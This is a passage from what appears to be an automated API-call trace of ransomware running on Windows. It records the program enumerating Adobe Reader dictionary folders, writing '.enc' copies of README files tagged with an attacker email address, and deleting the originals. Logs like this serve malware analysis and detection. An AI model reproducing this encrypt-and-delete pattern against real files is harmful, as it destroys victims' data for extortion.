ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x44571, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="hyph_en_CA.dic", cAlternateFileName="HYPH_E~1.DIC")) returned 1 [0198.395] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="README_en_CA.txt", cAlternateFileName="README~1.TXT")) returned 1 [0198.395] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="README_th_en_CA_v2.txt", cAlternateFileName="README~2.TXT")) returned 1 [0198.395] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="README_th_en_CA_v2.txt", cAlternateFileName="README~2.TXT")) returned 0 [0198.395] FindClose (in: hFindFile=0x10f7350 | out: hFindFile=0x10f7350) returned 1 [0198.396] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\en_CA.aff" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\en_ca.aff")) returned 0x20 [0198.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f2c0 | out: hHeap=0x2ad0000) returned 1 [0198.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0198.397] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\en_CA.dic" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\en_ca.dic")) returned 0x20 [0198.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f7d0 | out: hHeap=0x2ad0000) returned 1 [0198.398] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\hyph_en_CA.dic" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\hyph_en_ca.dic")) returned 0x20 [0198.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0878 | out: hHeap=0x2ad0000) returned 1 [0198.398] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_en_CA.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_en_ca.txt")) returned 0x20 [0198.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac04e8 | out: hHeap=0x2ad0000) returned 1 [0198.399] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_th_en_CA_v2.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_th_en_ca_v2.txt")) returned 0x20 [0198.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d5c0 | out: hHeap=0x2ad0000) returned 1 [0198.399] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881138, Size=0x20) returned 0x33eabc0 [0198.399] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\en_CA.aff", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\en_CA.aff", lpFilePart=0x9bada4*="en_CA.aff") returned 0x83 [0198.399] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\en_CA.dic", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\en_CA.dic", lpFilePart=0x9bada4*="en_CA.dic") returned 0x83 [0198.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0198.400] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\hyph_en_CA.dic", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\hyph_en_CA.dic", lpFilePart=0x9bada4*="hyph_en_CA.dic") returned 0x88 [0198.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0198.400] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_en_CA.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_en_CA.txt", lpFilePart=0x9bada4*="README_en_CA.txt") returned 0x8a [0198.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0198.400] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_en_CA.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_en_ca.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x36da)) returned 1 [0198.400] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679d04 | out: pbBuffer=0x3679d04) returned 1 [0198.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0198.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0198.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0198.401] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_en_CA.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_en_ca.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.401] GetFileType (hFile=0x334) returned 0x1 [0198.401] GetFileType (hFile=0x334) returned 0x1 [0198.401] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.402] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_en_CA.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_en_ca.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.403] GetFileType (hFile=0x39c) returned 0x1 [0198.403] GetFileType (hFile=0x39c) returned 0x1 [0198.403] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.403] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.403] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.403] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.403] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.403] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.403] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.406] CloseHandle (hObject=0x39c) returned 1 [0198.406] CloseHandle (hObject=0x334) returned 1 [0198.407] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_en_CA.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_en_ca.txt")) returned 1 [0198.408] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_th_en_CA_v2.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_th_en_CA_v2.txt", lpFilePart=0x9bada4*="README_th_en_CA_v2.txt") returned 0x90 [0198.408] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_th_en_CA_v2.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_th_en_ca_v2.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x739)) returned 1 [0198.408] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679c14 | out: pbBuffer=0x3679c14) returned 1 [0198.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0198.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0198.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0198.409] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_th_en_CA_v2.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_th_en_ca_v2.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.409] GetFileType (hFile=0x334) returned 0x1 [0198.409] GetFileType (hFile=0x334) returned 0x1 [0198.409] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.409] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.409] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.409] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.410] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.410] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_th_en_CA_v2.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_th_en_ca_v2.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.410] GetFileType (hFile=0x39c) returned 0x1 [0198.410] GetFileType (hFile=0x39c) returned 0x1 [0198.410] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.411] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.411] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.411] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.411] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.411] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.411] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.413] CloseHandle (hObject=0x39c) returned 1 [0198.414] CloseHandle (hObject=0x334) returned 1 [0198.414] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\README_th_en_CA_v2.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca\\readme_th_en_ca_v2.txt")) returned 1 [0198.415] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0198.416] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.416] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="affDescription.txt", cAlternateFileName="AFFDES~1.TXT")) returned 1 [0198.416] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fab82a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xc01, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="changelog.txt", cAlternateFileName="CHANGE~1.TXT")) returned 1 [0198.417] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fab82a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1304f, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="en_GB.aff", cAlternateFileName="")) returned 1 [0198.417] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fab82a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb9189, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="en_GB.dic", cAlternateFileName="")) returned 1 [0198.417] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fab82a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2a4f1, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="hyph_en_GB.dic", cAlternateFileName="HYPH_E~1.DIC")) returned 1 [0198.417] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2a, dwReserved0=0x9ba82c, dwReserved1=0x0, cFileName="license.txt", cAlternateFileName="")) returned 1 [0198.417] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa9e, dwReserved0=0x9ba82c, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0198.417] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x9ba82c, dwReserved1=0x0, cFileName="README_en_GB.txt", cAlternateFileName="README~1.TXT")) returned 1 [0198.417] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x678, dwReserved0=0x9ba82c, dwReserved1=0x0, cFileName="WordNet_license.txt", cAlternateFileName="WORDNE~1.TXT")) returned 1 [0198.418] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x678, dwReserved0=0x9ba82c, dwReserved1=0x0, cFileName="WordNet_license.txt", cAlternateFileName="WORDNE~1.TXT")) returned 0 [0198.418] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0198.419] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\affDescription.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\affdescription.txt")) returned 0x20 [0198.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0910 | out: hHeap=0x2ad0000) returned 1 [0198.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0198.420] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\changelog.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\changelog.txt")) returned 0x20 [0198.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f470 | out: hHeap=0x2ad0000) returned 1 [0198.420] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\en_GB.aff" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\en_gb.aff")) returned 0x20 [0198.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f590 | out: hHeap=0x2ad0000) returned 1 [0198.476] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common 